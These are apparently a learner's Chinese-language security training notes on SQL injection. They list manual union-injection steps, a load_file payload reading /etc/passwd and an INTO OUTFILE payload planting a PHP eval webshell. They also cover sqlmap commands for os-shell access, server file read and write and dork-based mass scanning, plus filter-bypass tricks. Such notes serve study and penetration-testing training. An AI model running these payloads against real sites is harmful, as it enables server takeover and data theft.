T-Star第三天学习记录

sql手工注入常规步骤

PS:这里学习笔记的常规步骤是针对union注入来说

  • 找注入点,并判断注入点是否存在
    例如添加',and 1=1,and 1=2
  • 判断表中的字段数
    order by 10,可采用二分法(效率高)
  • 使用union联合查询
  • 查询数据库中的数据
    查询数据库
    查询数据表
    查询字段r
    查询数据
  • 文件操作
    读取文件
    select 1,2,load_file("/etc/passwd"),3,4
    写入文件
    select 1,2,"<?php @eval($_POST['cmd']?>",3,4 into outfile ‘/var/www/html/kill.php’
    需要设置 secure-file-priv = “”

GET、POST请求方式注入

GET型注入
  • 单个参数注入
    sqlmap.py -u “URL”
  • 多个参数注入
    sqlmap.py -u “URL” -p 具体参数
    sqlmap.py -u “URL” -p “id”
  • 多个URL
    sqlmap.py -m 1.txt (1.txt内容为测试的目标URL)
    会有(Y/n/q)提示,选Y,进行测试,n自动进行下一个,q退出探测
  • 结合burp读取日志文件
    sqlmap.py -l 日志文件
  • burp提取HTTP请求保存为文本文件
    sqlmap.py -r 文本文件
  • 读取sqlmap.conf配置文件
    sqlmap.py -c sqlmap.conf
    在url处添加目标站点
POST型注入
  • burp提取HTTP请求保存为文本文件
    sqlmap.py -r 文本文件
  • 结合burp读取日志文件
    sqlmap.py -l 日志文件
  • 使用–data传递post数据
    sqlmap.py -u “URL” --data=“POST数据”
  • 读取sqlmap.conf配置文件
    sqlmap.py -c sqlmap.conf文件
COOKIE注入

使用场景:Web应用程序具有基于COOKIE验证的步骤

Sqlmap的经典语法

  • –banner
    查询数据库类型,版本信息
  • -g “谷歌语法”
    批量检测注入
    sqlmap.py -g “inurl:index.php?id=”
  • –sql-shell
    执行指定的sql语句,之后输入sql语句即可
  • –os-shell/–os-cmd
    执行系统命令,获取目标服务器权限
    执行条件:
    网站必须是root权限
    攻击者需要知道网站的绝对路径
    GPC为off,php主动转义的功能关闭
  • –file-read
    读取目标服务器文件
    –file-read=“文件路径”
  • –file-write,–file-dest
    上传文件并重新命名
    –file-write “C:\1.txt” --file-dest"c://123.txt"
    将本地C盘的1.txt上传到服务器C盘,并重命名为123.txt
  • –dbms=“MySQL”
    指定其数据库为MySQL
    可以减少测试时间,以及增加测试准确度
  • –sql-query --sql-file
    –sql-query “sql语句”
    可以执行指定的sql语句
    –sql-file “C:\sql.sql”
    从指定本地文件执行sql语句
  • –proxy=“IP:端口”
    设置代理
    –proxy=“http://IP:端口”
  • –technique T
    指定具体的注入技术
    B:基于布尔类型的盲注
    T:基于时间的盲注
    E:基于报错注入
    U:联合查询注入
    S:堆查询注入
  • –fresh-queries --flush-session
    清除缓存,刷新会话
    –fresh-queries
    sqlmap每次查询都会将查询结果储存在.sqlmap文件夹中,下次再有相同的查询会调用
    上次的查询结果,使用这个参数可以忽略文件中的记载结果,重新查询
    –flush-session
    刷新会话
  • –batch
    对所有的交互式的都是默认,中间不需要操作
  • –start --stop
    指定查看列的范围
    –start 获取第一个查询输出数据位置
    –stop 获取最后查询输出数据位置
    会查询指定位置的列信息
  • –first --last
    指定查看字符的范围
    –first 获取第一个查询输出字的字符
    –last获取最后查询的输出字字符

绕过姿势

  • 双写绕过:
    可行原因:后端只对字符串进行了一次过滤
  • 大小写绕过:
    可行原因:后端未对大小写进行判定
  • 过滤空格绕过:
    1、注释符:/**/
    2、两个空格、Tab键、+号、反引号
    3、%20、%09、%0a、%0b、%0c、%0d、%a0、%00
    4、括号绕过,用括号包裹关键字,select(username)from(member)
  • 过滤绕过=:
    1、通配符like
    2、!<>,<>等价于!=
  • 过滤and、or绕过:
    and = &&
    or = ||
    xor = | 异或操作符
    not = !

Sqlmap常用爆库爆表语句

T-Star第三天学习记录

学习总结

多用sqlmap,熟能生巧